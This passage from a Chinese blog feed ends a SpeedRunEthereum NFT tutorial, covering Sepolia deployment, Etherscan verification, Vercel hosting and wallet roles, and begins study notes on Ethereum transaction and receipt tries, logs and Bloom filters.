0x2A4CDe1F94421E1230F71c9245A5ef237893521C</span><br><span class="line">Block: 11113078</span><br><span class="line">Paid: ~0.0092 ETH</span><br></pre></td></tr></table></figure></div><p>需要注意：<code>ETH_PASSWORD</code> 不应该直接写成字面密码。Foundry 语境下它通常被当作密码文件路径处理。安全做法是交互式输入密码，避免把密码写进 shell history、<code>.env</code> 或博客文章。</p><p>前端切到 Sepolia：</p><div class="code-container" data-rel="Ts"><figure class="iseeu highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> scaffoldConfig = {</span><br><span class="line"> <span class="attr">targetNetworks</span>: [chains.<span class="property">sepolia</span>],</span><br><span class="line"> <span class="attr">pollingInterval</span>: <span class="number">3000</span>,</span><br><span class="line"> <span class="attr">alchemyApiKey</span>: process.<span class="property">env</span>.<span class="property">NEXT_PUBLIC_ALCHEMY_API_KEY</span> || <span class="string">"默认 key"</span>,</span><br><span class="line"> <span class="attr">walletConnectProjectId</span>: process.<span class="property">env</span>.<span class="property">NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID</span> || <span class="string">"默认 ID"</span>,</span><br><span class="line"> <span class="attr">burnerWalletMode</span>: <span class="string">"localNetworksOnly"</span>,</span><br><span class="line">} <span class="keyword">as</span> <span class="keyword">const</span> <span class="keyword">satisfies</span> <span class="title class_">ScaffoldConfig</span>;</span><br></pre></td></tr></table></figure></div><h2 id="专题八：Etherscan-验证"><a href="#专题八：Etherscan-验证" class="headerlink" title="专题八：Etherscan 验证"></a>专题八：Etherscan 验证</h2><p>验证命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yarn verify --network sepolia</span><br></pre></td></tr></table></figure></div><p>验证流程：</p><ol><li>读取部署产物里的合约地址和字节码。</li><li>使用相同 Solidity 版本、优化参数重新编译。</li><li>向 Etherscan 提交源码和编译配置。</li><li>Etherscan 重新编译并匹配链上字节码。</li><li>验证通过后显示 Contract Source Code Verified。</li></ol><p><code>.env</code> 中只应放本地私密配置，不应提交：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ETHERSCAN_API_KEY=<your_etherscan_api_key></span><br></pre></td></tr></table></figure></div><p>验证后的合约页面：</p><p><a class="link" href="https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C" >https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="专题九：Vercel-部署"><a href="#专题九：Vercel-部署" class="headerlink" title="专题九：Vercel 部署"></a>专题九：Vercel 部署</h2><p>部署命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yarn vercel login</span><br><span class="line">yarn vercel --prod</span><br></pre></td></tr></table></figure></div><p>注意事项：</p><ol><li>在项目根目录执行，不要在 <code>packages/foundry</code> 或 <code>packages/nextjs</code> 子目录执行。</li><li>Vercel 项目名只能使用小写字母、数字和连字符，例如 <code>tokenization-ky</code>。</li><li>环境变量命令依赖项目已经存在，通常先部署一次创建项目，再配置环境变量。</li></ol><p>可配置的环境变量：</p><table><thead><tr><th>变量名</th><th>说明</th></tr></thead><tbody><tr><td><code>NEXT_PUBLIC_ALCHEMY_API_KEY</code></td><td>Alchemy RPC key</td></tr><tr><td><code>NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID</code></td><td>WalletConnect 项目 ID</td></tr><tr><td><code>PINATA_KEY</code></td><td>Pinata key</td></tr><tr><td><code>PINATA_SECRET</code></td><td>Pinata secret</td></tr></tbody></table><p>线上地址：</p><p><a class="link" href="https://tokenization-ky.vercel.app/" >https://tokenization-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="专题十：踩坑复盘"><a href="#专题十：踩坑复盘" class="headerlink" title="专题十：踩坑复盘"></a>专题十：踩坑复盘</h2><h3 id="Diamond-Problem-编译错误"><a href="#Diamond-Problem-编译错误" class="headerlink" title="Diamond Problem 编译错误"></a>Diamond Problem 编译错误</h3><p>OpenZeppelin v5 的 ERC-721 多扩展组合必须显式重写 <code>_update</code>、<code>_increaseBalance</code>、<code>tokenURI</code>、<code>supportsInterface</code>。修复时保留 <code>super</code> 调用链，不要手写父类状态逻辑。</p><h3 id="RainbowKit-SSR-500"><a href="#RainbowKit-SSR-500" class="headerlink" title="RainbowKit SSR 500"></a>RainbowKit SSR 500</h3><p>RainbowKit 依赖浏览器环境，Provider 树必须避免在服务端初始化。用 <code>dynamic(..., { ssr: false })</code> 包住整棵 Provider 树。</p><h3 id="Sepolia-交易-pending"><a href="#Sepolia-交易-pending" class="headerlink" title="Sepolia 交易 pending"></a>Sepolia 交易 pending</h3><p>部署交易曾出现长时间 pending。经验是不要盲目手动设置异常 gas price，优先使用 Foundry 自动估算，必要时检查 Etherscan 上的交易状态和 nonce。</p><h3 id="部署钱包和浏览器钱包不是同一个"><a href="#部署钱包和浏览器钱包不是同一个" class="headerlink" title="部署钱包和浏览器钱包不是同一个"></a>部署钱包和浏览器钱包不是同一个</h3><p><code>yarn generate</code> 生成的是部署者 keystore，MetaMask 是浏览器交互钱包。二者地址、余额、权限完全独立。</p><h3 id="public-mint-不等于-owner-权限"><a href="#public-mint-不等于-owner-权限" class="headerlink" title="public mint 不等于 owner 权限"></a>public mint 不等于 owner 权限</h3><p>浏览器钱包能铸 NFT，不是因为它有 owner 权限，而是因为 <code>mintItem</code> 本身是 <code>public</code>，任何地址都能调用。当前合约继承了 <code>Ownable</code>，但没有在 <code>mintItem</code> 上使用 <code>onlyOwner</code>。</p><h2 id="专题十一：安全与工程理解"><a href="#专题十一：安全与工程理解" class="headerlink" title="专题十一：安全与工程理解"></a>专题十一：安全与工程理解</h2><h3 id="钱包角色"><a href="#钱包角色" class="headerlink" title="钱包角色"></a>钱包角色</h3><table><thead><tr><th>角色</th><th>来源</th><th>用途</th></tr></thead><tbody><tr><td>部署钱包</td><td><code>yarn generate</code> keystore</td><td>部署合约、可能持有 owner 权限</td></tr><tr><td>用户钱包</td><td>MetaMask</td><td>与 dApp 交互</td></tr><tr><td>Burner wallet</td><td>Scaffold-ETH 本地生成</td><td>本地开发测试</td></tr><tr><td>硬件钱包</td><td>Ledger / Trezor</td><td>高价值资产和高权限账户</td></tr></tbody></table><p>部署者账户如果持有合约 owner 权限，就应该按高权限账户处理。生产环境中常见做法是把 owner 转给多签钱包。</p><h3 id="链上与链下边界"><a href="#链上与链下边界" class="headerlink" title="链上与链下边界"></a>链上与链下边界</h3><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">链上：tokenId、ownerOf、approval、Transfer events</span><br><span class="line">链下：metadata JSON、图片文件、索引、搜索、部分解析服务</span><br></pre></td></tr></table></figure></div><p>把大对象放链下，把所有权和可验证指针放链上，是 NFT 的常见工程折中。</p><h3 id="ERC-721-接收钩子"><a href="#ERC-721-接收钩子" class="headerlink" title="ERC-721 接收钩子"></a>ERC-721 接收钩子</h3><p><code>safeTransferFrom</code> 在接收方是合约时，会要求对方实现 <code>onERC721Received</code> 并返回指定 selector。这样可以避免 NFT 被转进不支持 ERC-721 的合约后永久卡住。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function onERC721Received(</span><br><span class="line"> address operator,</span><br><span class="line"> address from,</span><br><span class="line"> uint256 tokenId,</span><br><span class="line"> bytes calldata data</span><br><span class="line">) external returns (bytes4);</span><br></pre></td></tr></table></figure></div><h2 id="完整流程速查"><a href="#完整流程速查" class="headerlink" title="完整流程速查"></a>完整流程速查</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">本地链启动</span><br><span class="line"> yarn chain</span><br><span class="line"> ↓</span><br><span class="line">本地部署和测试</span><br><span class="line"> yarn deploy</span><br><span class="line"> yarn test</span><br><span class="line"> ↓</span><br><span class="line">部署到 Sepolia</span><br><span class="line"> yarn deploy --network sepolia</span><br><span class="line"> ↓</span><br><span class="line">Etherscan 验证</span><br><span class="line"> yarn verify --network sepolia</span><br><span class="line"> ↓</span><br><span class="line">前端生产部署</span><br><span class="line"> yarn vercel --prod</span><br><span class="line"> ↓</span><br><span class="line">SpeedRunEthereum 提交</span><br><span class="line"> ACCEPTED</span><br></pre></td></tr></table></figure></div><h2 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 开发</span></span><br><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn start</span><br><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn lint</span><br><span class="line">yarn format</span><br><span class="line"></span><br><span class="line"><span class="comment"># 部署</span></span><br><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line">yarn verify --network sepolia</span><br><span class="line">yarn account</span><br><span class="line"></span><br><span class="line"><span class="comment"># 前端部署</span></span><br><span class="line">yarn vercel login</span><br><span class="line">yarn vercel --prod</span><br><span class="line"></span><br><span class="line"><span class="comment"># Foundry</span></span><br><span class="line">forge build</span><br><span class="line">forge <span class="built_in">test</span> -vv</span><br><span class="line">forge script script/Deploy.s.sol --rpc-url sepolia --broadcast --verify</span><br><span class="line">cast call <addr> <span class="string">"tokenIdCounter()(uint256)"</span> --rpc-url sepolia</span><br><span class="line">cast send <addr> <span class="string">"mintItem(address,string)"</span> <to> <span class="string">"<ipfs://...>"</span> --rpc-url sepolia</span><br><span class="line">anvil</span><br></pre></td></tr></table></figure></div><h2 id="本关收获"><a href="#本关收获" class="headerlink" title="本关收获"></a>本关收获</h2><p>这一关不是只完成了一个 NFT demo，而是串起了 Solidity、OpenZeppelin、Foundry、Scaffold-ETH 2、IPFS、Sepolia、Etherscan、Vercel 的完整链路。</p><p>真正沉淀下来的能力：</p><ol><li>ERC-721 标准和 OpenZeppelin 组合使用。</li><li>Solidity 多重继承和 <code>override</code> / <code>super</code> 机制。</li><li>Foundry 编译、测试、部署、链上读写。</li><li>Sepolia 测试网部署和 gas / nonce 调试。</li><li>Etherscan 合约验证流程。</li><li>Next.js + Wagmi + RainbowKit 前端集成。</li><li>IPFS metadata 的链上链下边界。</li><li>部署钱包、用户钱包、burner wallet 的角色区分。</li></ol><h2 id="系列路线"><a href="#系列路线" class="headerlink" title="系列路线"></a>系列路线</h2><p>SpeedRunEthereum Ethereum 101 系列现已按以下专题全部完成；表中的 Advanced 主题作为后续学习方向：</p><table><thead><tr><th>挑战</th><th>主题</th><th>难度</th></tr></thead><tbody><tr><td>Crowdfunding</td><td>合约之间的协作</td><td>入门</td></tr><tr><td>Token Vendor</td><td>ETH 与 Token 兑换</td><td>入门</td></tr><tr><td>Dice Game</td><td>链上随机数与攻击防御</td><td>进阶</td></tr><tr><td>Build a DEX</td><td>AMM 去中心化交易所</td><td>进阶</td></tr><tr><td>Oracles</td><td>预言机机制</td><td>高级</td></tr><tr><td>Over-Collateralized Lending</td><td>超额抵押借贷</td><td>高级</td></tr></tbody></table><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>SpeedRunEthereum 官网：<a class="link" href="https://speedrunethereum.com/" >https://speedrunethereum.com/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Tokenization 挑战：<a class="link" href="https://speedrunethereum.com/challenge/tokenization" >https://speedrunethereum.com/challenge/tokenization<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Builder 档案：<a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Scaffold-ETH 2 文档：<a class="link" href="https://docs.scaffoldeth.io/" >https://docs.scaffoldeth.io/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry Book：<a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin Contracts：<a class="link" href="https://docs.openzeppelin.com/contracts/" >https://docs.openzeppelin.com/contracts/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="ERC-721" scheme="https://kylinxin.github.io/tags/ERC-721/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="NFT" scheme="https://kylinxin.github.io/tags/NFT/"/>
</entry>
<entry>
<title>以太坊交易树和收据树知识点</title>
<link href="https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E4%BA%A4%E6%98%93%E6%A0%91%E5%92%8C%E6%94%B6%E6%8D%AE%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
<id>https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E4%BA%A4%E6%98%93%E6%A0%91%E5%92%8C%E6%94%B6%E6%8D%AE%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/</id>
<published>2026-06-04T01:17:00.000Z</published>
<updated>2026-06-22T02:00:00.000Z</updated>
<content type="html"><![CDATA[<h2 id="ETH-交易树和收据树：知识点总览"><a href="#ETH-交易树和收据树：知识点总览" class="headerlink" title="ETH 交易树和收据树：知识点总览"></a>ETH 交易树和收据树：知识点总览</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-tx-receipt-tree-1.png" alt="ETH 交易树和收据树示意图 1" ><figcaption>ETH 交易树和收据树示意图 1</figcaption></figure><br><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-tx-receipt-tree-2.png" alt="ETH 交易树和收据树示意图 2" ><figcaption>ETH 交易树和收据树示意图 2</figcaption></figure></p><blockquote><p>核心一句话：交易树承诺当前区块里的交易内容和顺序，收据树承诺这些交易执行后的结果。它们的根分别是 <code>transactionsRoot</code> 和 <code>receiptsRoot</code>，都会写入区块头。</p></blockquote><p>这一篇接着状态树展开。状态树回答“执行后世界状态是什么”，交易树回答“这个区块有哪些交易”，收据树回答“这些交易执行出了什么结果”。</p><hr><h2 id="1-先背下来的核心结论"><a href="#1-先背下来的核心结论" class="headerlink" title="1. 先背下来的核心结论"></a>1. 先背下来的核心结论</h2><p>以太坊区块头里和本专题最相关的三个根是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot</span><br><span class="line">transactionsRoot</span><br><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p>它们分别表示：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot -> 区块执行完成后的全局状态</span><br><span class="line">transactionsRoot -> 当前区块交易列表的承诺</span><br><span class="line">receiptsRoot -> 当前区块交易执行结果的承诺</span><br></pre></td></tr></table></figure></div><p>交易树和收据树都是按交易在区块中的序号索引：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">key = RLP(transactionIndex)</span><br><span class="line">value = RLP(transaction 或 receipt)</span><br></pre></td></tr></table></figure></div><p>每笔交易执行后都会产生一个收据，所以交易和收据在 index 上一一对应。</p><hr><h2 id="2-核心考点"><a href="#2-核心考点" class="headerlink" title="2. 核心考点"></a>2. 核心考点</h2><p>交易树和收据树通常考四类能力。</p><p>第一类：能区分 <code>stateRoot</code>、<code>transactionsRoot</code>、<code>receiptsRoot</code> 的含义。</p><p>第二类：知道交易树承诺交易内容和顺序，收据树承诺执行结果和日志。</p><p>第三类：能解释为什么交易顺序影响最终状态。</p><p>第四类：能把 Receipt、logs、Bloom Filter、事件查询和区块浏览器展示联系起来。</p><p>继续深入时，可以追问：交易树和收据树为什么也用 MPT？它们和状态树的 MPT 必要性是否一样？</p><hr><h2 id="3-三个根在区块里的位置"><a href="#3-三个根在区块里的位置" class="headerlink" title="3. 三个根在区块里的位置"></a>3. 三个根在区块里的位置</h2><p>以太坊区块可以简化为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Block</span><br><span class="line">├── Header</span><br><span class="line">│ ├── stateRoot</span><br><span class="line">│ ├── transactionsRoot</span><br><span class="line">│ └── receiptsRoot</span><br><span class="line">└── Body</span><br><span class="line"> └── Transactions</span><br><span class="line"> ├── Tx0</span><br><span class="line"> ├── Tx1</span><br><span class="line"> └── ...</span><br></pre></td></tr></table></figure></div><p><code>transactionsRoot</code> 和区块体中的交易列表直接相关。只要某笔交易内容变化，或者交易顺序变化，交易树根都会变化。</p><p><code>receiptsRoot</code> 和交易执行后的收据列表相关。只要某笔交易的执行状态、gas 使用、日志发生变化，收据树根都会变化。</p><p><code>stateRoot</code> 是执行所有交易后的全局状态根。它不是当前区块交易列表的根，而是执行完成后的世界状态承诺。</p><hr><h2 id="4-交易树-Transaction-Trie"><a href="#4-交易树-Transaction-Trie" class="headerlink" title="4. 交易树 Transaction Trie"></a>4. 交易树 Transaction Trie</h2><p>交易树用于组织当前区块中的所有交易，对应区块头里的：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">transactionsRoot</span><br></pre></td></tr></table></figure></div><p>交易树的逻辑结构是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0 -> Tx0</span><br><span class="line">1 -> Tx1</span><br><span class="line">2 -> Tx2</span><br></pre></td></tr></table></figure></div><p>工程上可以表示为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">key = RLP(transactionIndex)</span><br><span class="line">value = RLP(transaction)</span><br></pre></td></tr></table></figure></div><p>交易树承诺两件事。</p><p>第一，当前区块包含哪些交易。任何交易内容被篡改，<code>transactionsRoot</code> 都会不匹配。</p><p>第二，这些交易的顺序是什么。以太坊交易顺序影响状态转移，所以顺序本身也必须被承诺。</p><hr><h2 id="5-为什么交易顺序很重要"><a href="#5-为什么交易顺序很重要" class="headerlink" title="5. 为什么交易顺序很重要"></a>5. 为什么交易顺序很重要</h2><p>以太坊是状态机：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">旧状态 + 有序交易序列 -> 新状态</span><br></pre></td></tr></table></figure></div><p>如果同一组交易换一个顺序，最终状态可能完全不同。</p><p>例如：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Tx0：Alice 给 Bob 转 5 ETH</span><br><span class="line">Tx1：Alice 调用合约购买 NFT</span><br></pre></td></tr></table></figure></div><p>如果先转账导致 Alice 余额不足，那么后续合约调用可能失败。反过来先调用合约，结果可能不同。</p><p>nonce 也依赖顺序。同一个账户的交易必须按 nonce 顺序执行，否则交易有效性会改变。</p><p>所以交易树不是只承诺“集合”，而是承诺“有序列表”。</p><hr><h2 id="6-收据树-Receipt-Trie"><a href="#6-收据树-Receipt-Trie" class="headerlink" title="6. 收据树 Receipt Trie"></a>6. 收据树 Receipt Trie</h2><p>收据树用于组织当前区块中每笔交易执行后的结果，对应区块头里的：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p>每笔交易执行完成后都会产生一个 Receipt。简化结构如下：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Receipt</span><br><span class="line">├── status</span><br><span class="line">├── cumulativeGasUsed</span><br><span class="line">├── logsBloom</span><br><span class="line">└── logs</span><br></pre></td></tr></table></figure></div><p><code>status</code> 表示交易执行是否成功。通常 <code>1</code> 表示成功，<code>0</code> 表示失败。</p><p><code>cumulativeGasUsed</code> 表示当前区块中从第一笔交易执行到这笔交易为止累计使用的 gas。</p><p><code>logsBloom</code> 是日志布隆过滤器，用于加速事件查询。</p><p><code>logs</code> 是合约执行过程中产生的事件日志。</p><hr><h2 id="7-交易和收据的一一对应"><a href="#7-交易和收据的一一对应" class="headerlink" title="7. 交易和收据的一一对应"></a>7. 交易和收据的一一对应</h2><p>交易树和收据树都按交易 index 建 key：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Transaction Trie</span><br><span class="line">0 -> Tx0</span><br><span class="line">1 -> Tx1</span><br><span class="line">2 -> Tx2</span><br><span class="line"></span><br><span class="line">Receipt Trie</span><br><span class="line">0 -> Receipt0</span><br><span class="line">1 -> Receipt1</span><br><span class="line">2 -> Receipt2</span><br></pre></td></tr></table></figure></div><p>这种对应关系很重要。它让验证者可以证明：某个区块中的第 N 笔交易，确实产生了第 N 个执行收据。</p><p>交易树关注输入，收据树关注输出。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Tx_i -> EVM 执行 -> Receipt_i</span><br></pre></td></tr></table></figure></div><p>如果有人修改交易日志、状态码或 gas 统计，<code>receiptsRoot</code> 就会变化。</p><hr><h2 id="8-收据中的-logs-和事件"><a href="#8-收据中的-logs-和事件" class="headerlink" title="8. 收据中的 logs 和事件"></a>8. 收据中的 logs 和事件</h2><p>智能合约可以通过 event 产生日志。例如 ERC-20 转账常见事件：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">event Transfer(address indexed from, address indexed to, uint256 value);</span><br></pre></td></tr></table></figure></div><p>一次 USDT 转账可能产生一条 <code>Transfer</code> 日志：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Log</span><br><span class="line">├── address = USDT 合约地址</span><br><span class="line">├── topics</span><br><span class="line">│ ├── Transfer 事件签名哈希</span><br><span class="line">│ ├── from 地址</span><br><span class="line">│ └── to 地址</span><br><span class="line">└── data = value</span><br></pre></td></tr></table></figure></div><p>区块浏览器中看到的 ERC-20 转账记录，很多时候就是从交易收据的 logs 解析出来的。</p><p>所以收据树不只证明“交易成功或失败”，还承诺事件日志确实由某笔交易产生，并被记录在某个区块中。</p><hr><h2 id="9-Bloom-Filter-的考点"><a href="#9-Bloom-Filter-的考点" class="headerlink" title="9. Bloom Filter 的考点"></a>9. Bloom Filter 的考点</h2><p>以太坊使用 Bloom Filter 加速日志查询。它是一种空间效率高的概率型数据结构。</p><p>Bloom Filter 判断的是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">某个元素是否可能存在于集合中</span><br></pre></td></tr></table></figure></div><p>它有两个关键性质：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">判断不存在 -> 一定不存在</span><br><span class="line">判断可能存在 -> 可能存在，需要继续查 logs</span><br></pre></td></tr></table></figure></div><p>Bloom Filter 可能出现 false positive，也就是假阳性。它说“可能存在”，但实际检查 logs 后发现不存在。</p><p>普通 Bloom Filter 不会出现 false negative。只要元素真的存在，它不会判断为不存在。</p><hr><h2 id="10-为什么普通-Bloom-Filter-不支持删除"><a href="#10-为什么普通-Bloom-Filter-不支持删除" class="headerlink" title="10. 为什么普通 Bloom Filter 不支持删除"></a>10. 为什么普通 Bloom Filter 不支持删除</h2><p>Bloom Filter 底层通常是 bit array。插入元素时，会通过多个哈希函数把多个 bit 置为 1。</p><p>多个元素可能共享同一个 bit。如果删除某个元素时直接把 bit 清零，可能破坏另一个元素的存在性判断。</p><p>例如 A 和 B 都使用 <code>bit[8]</code>。删除 A 时把 <code>bit[8]</code> 清零，就可能让 B 被误判为不存在。</p><p>这会产生 false negative，而普通 Bloom Filter 的设计目标就是避免 false negative。</p><p>如果需要删除，可以使用 Counting Bloom Filter，但会增加存储成本和实现复杂度。</p><hr><h2 id="11-为什么交易树和收据树也用-MPT"><a href="#11-为什么交易树和收据树也用-MPT" class="headerlink" title="11. 为什么交易树和收据树也用 MPT"></a>11. 为什么交易树和收据树也用 MPT</h2><p>状态树、交易树、收据树都使用 trie 风格结构，但必要性不同。</p><p>状态树是全局、长期、动态更新的键值状态：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>它必须支持查找、更新、证明、回滚和不存在性证明，因此非常适合 MPT。</p><p>交易树和收据树只属于当前区块，key 是连续的交易序号。理论上，它们也可以用普通 Merkle Tree 完成承诺和证明。</p><p>以太坊统一使用 MPT 风格，更多是工程统一：编码、节点结构、根哈希计算和证明机制可以复用。</p><p>这里要注意这句话：真正“非 MPT 不可”的主要是状态树，交易树和收据树使用 MPT 更偏工程一致性。</p><hr><h2 id="12-三棵树对比表"><a href="#12-三棵树对比表" class="headerlink" title="12. 三棵树对比表"></a>12. 